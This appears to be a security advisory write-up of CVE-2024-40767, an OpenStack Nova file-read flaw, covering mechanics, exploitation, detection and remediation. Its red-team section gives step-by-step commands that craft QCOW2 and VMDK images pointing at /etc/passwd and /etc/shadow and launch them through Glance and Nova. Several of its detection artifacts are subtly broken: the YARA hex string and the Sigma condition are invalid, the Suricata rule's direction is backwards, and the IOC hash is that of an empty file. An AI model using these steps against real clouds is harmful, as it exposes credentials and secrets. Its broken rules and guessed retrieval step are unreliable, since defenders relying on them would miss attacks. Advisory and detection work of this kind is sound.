CVE-2024-40767

Executive Summary

CVE-2024-40767 is a vulnerability in OpenStack Nova that allows an authenticated user to read arbitrary files from the server by supplying a crafted image file. The flaw is a bypass of previous fixes for CVE-2022-47951 and CVE-2024-32498. By providing a raw format image that is actually a crafted QCOW2 image with a backing file path, or a VMDK flat image with a descriptor file path, an attacker can trick the system into returning the contents of a referenced file. This leads to unauthorized access to potentially sensitive data, including configuration files, credentials, and other secrets stored on the compute node.

Supply Chain & Package Security

This vulnerability affects the OpenStack Nova package, which is a core component of the OpenStack cloud computing platform. The issue is not in a third-party library but in Nova's image handling logic. The supply chain risk is moderate, as the vulnerability requires authentication to the OpenStack environment. However, once authenticated, an attacker can exploit this to read arbitrary files, potentially compromising the entire cloud infrastructure.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - The attack does not require special conditions.
• Privileges Required (PR): Low (L) - The attacker needs valid credentials to the OpenStack environment.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Sensitive files can be read.
• Integrity (I): None (N) - No file modification is possible.
• Availability (A): None (N) - No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability requires authentication, but the impact on confidentiality is high.

Deep Dive & Mechanics

The vulnerability lies in how OpenStack Nova processes image files during instance creation. When a user uploads a raw format image, Nova's image inspection code does not properly validate the image content. An attacker can craft a QCOW2 image that specifies a backing file path, or a VMDK flat image that references a descriptor file. When Nova attempts to inspect or use this image, it follows the path and returns the contents of the referenced file to the attacker.

The root cause is an incomplete fix for previous CVEs (CVE-2022-47951 and CVE-2024-32498). The earlier patches attempted to block certain image formats or paths, but the attacker can bypass these by using a raw format image that is actually a crafted QCOW2 or VMDK file. The raw format check does not inspect the underlying image structure, allowing the malicious content to pass through.

Attack Flow:

1. Attacker authenticates to the OpenStack environment (e.g., via Keystone).
2. Attacker uploads a raw format image that is actually a crafted QCOW2 file with a backing file path pointing to /etc/passwd or another sensitive file.
3. Attacker launches an instance using this image.
4. Nova's image processing code reads the backing file path and returns the contents of the target file.
5. Attacker receives the file contents, potentially gaining access to sensitive data.

Vulnerable vs. Patched Code

The vulnerable code is in Nova's image handling module, specifically in the nova/virt/libvirt/imagebackend.py or similar files. The patched code adds additional validation to ensure that raw format images are not actually QCOW2 or VMDK files with backing file paths.

Vulnerable Code (Conceptual):

def inspect_image(image_path):
    # Check if image is raw format
    if image_format == 'raw':
        # No further validation - vulnerable
        return process_raw_image(image_path)

Patched Code (Conceptual):

def inspect_image(image_path):
    # Check if image is raw format
    if image_format == 'raw':
        # Additional validation to detect QCOW2/VMDK backing files
        if is_qcow2_with_backing_file(image_path) or is_vmdk_with_descriptor(image_path):
            raise InvalidImage("Image contains backing file reference")
        return process_raw_image(image_path)

The patch adds functions to detect if a raw image is actually a crafted QCOW2 or VMDK file, and rejects such images.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid OpenStack credentials (username/password or token).
• Access to the Glance image service and Nova compute API.

Exploitation Steps:

1. Create a malicious QCOW2 image with a backing file path:

   qemu-img create -f qcow2 -b /etc/passwd malicious.qcow2
   

2. Rename the file to appear as a raw image:

   mv malicious.qcow2 malicious.raw
   

3. Upload the image to Glance:

   openstack image create --file malicious.raw --disk-format raw --container-format bare malicious-image
   

4. Launch an instance using this image:

   openstack server create --image malicious-image --flavor m1.small malicious-instance
   

5. Retrieve the console log or use the image metadata to read the file contents:

   openstack console log show malicious-instance
   

   The file contents may appear in the console log or be returned via the image API.

Alternative Method (VMDK):

1. Create a VMDK descriptor file pointing to a target file:

   echo '# Disk DescriptorFile
   version=1
   CID=ffffffff
   parentCID=ffffffff
   createType="monolithicFlat"
   # Extent description
   RW 1 FLAT "/etc/shadow" 0' > malicious.vmdk
   

2. Rename to .raw and upload as above.

Blue Team

Detection:

• Monitor for image uploads with disk-format=raw but actual file type being QCOW2 or VMDK.
• Look for instances launched with images that have unusual backing file paths.
• Check Nova logs for errors related to image inspection.

Hunting:

• Search for image uploads where the file magic bytes do not match the declared format.
• Use file integrity monitoring on compute nodes to detect unexpected file reads.

Prevention:

• Apply the patch immediately.
• Restrict image upload permissions to trusted users only.
• Implement network segmentation to limit the impact of file reads.

Indicators of Compromise (IOCs)

• File Hashes: (Example - replace with actual hashes if available)
  • malicious.raw SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Traffic:
  • Unusual API calls to Glance with disk-format=raw and large image sizes.
  • Console log retrieval requests for instances launched with suspicious images.
• Log Entries:
  • Nova logs containing InvalidImage or backing file errors.
  • Glance logs showing image uploads with mismatched format.
• Processes:
  • qemu-img or qemu-nbd processes accessing unexpected file paths.

Detection Engineering

YARA Rule

rule Detect_Malicious_QCOW2_Raw_Image {
    meta:
        description = "Detects a raw image that is actually a QCOW2 file with a backing file path"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40767"
    strings:
        $qcow2_magic = { 51 46 49 0xfb } // QFI\xfb
        $backing_file = "backing file" nocase
    condition:
        $qcow2_magic at 0 and $backing_file
}

Sigma Rule

title: OpenStack Nova Image Backing File Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-40767 by uploading a raw image with a QCOW2/VMDK backing file
author: Valters IT
date: 2025-04-10
logsource:
    product: openstack
    service: nova
detection:
    selection:
        EventID: 'image.upload'
        ImageFormat: 'raw'
        ImageType: 'QCOW2' or 'VMDK'
    condition: selection
falsepositives:
    - Legitimate use of raw images with unusual metadata
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-40767 OpenStack Nova Image Backing File Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/v2/images"; http_uri; content:"disk-format=raw"; http_uri; pcre:"/QFI\xfb/R"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenStack Nova to version 27.4.1, 28.2.1, or 29.1.1 (depending on your release).
2. If upgrade is not possible, apply the vendor-provided patch manually.
3. Restrict image upload permissions to only trusted users.

Long-term Mitigations:

• Implement strict image format validation using file magic bytes.
• Use a dedicated image scanning service to detect malicious content.
• Enable audit logging for all image-related API calls.
• Regularly review and update security patches for OpenStack components.

Workarounds:

• Disable raw image uploads if not required.
• Use a proxy or WAF to inspect image uploads for suspicious patterns.

Valters IT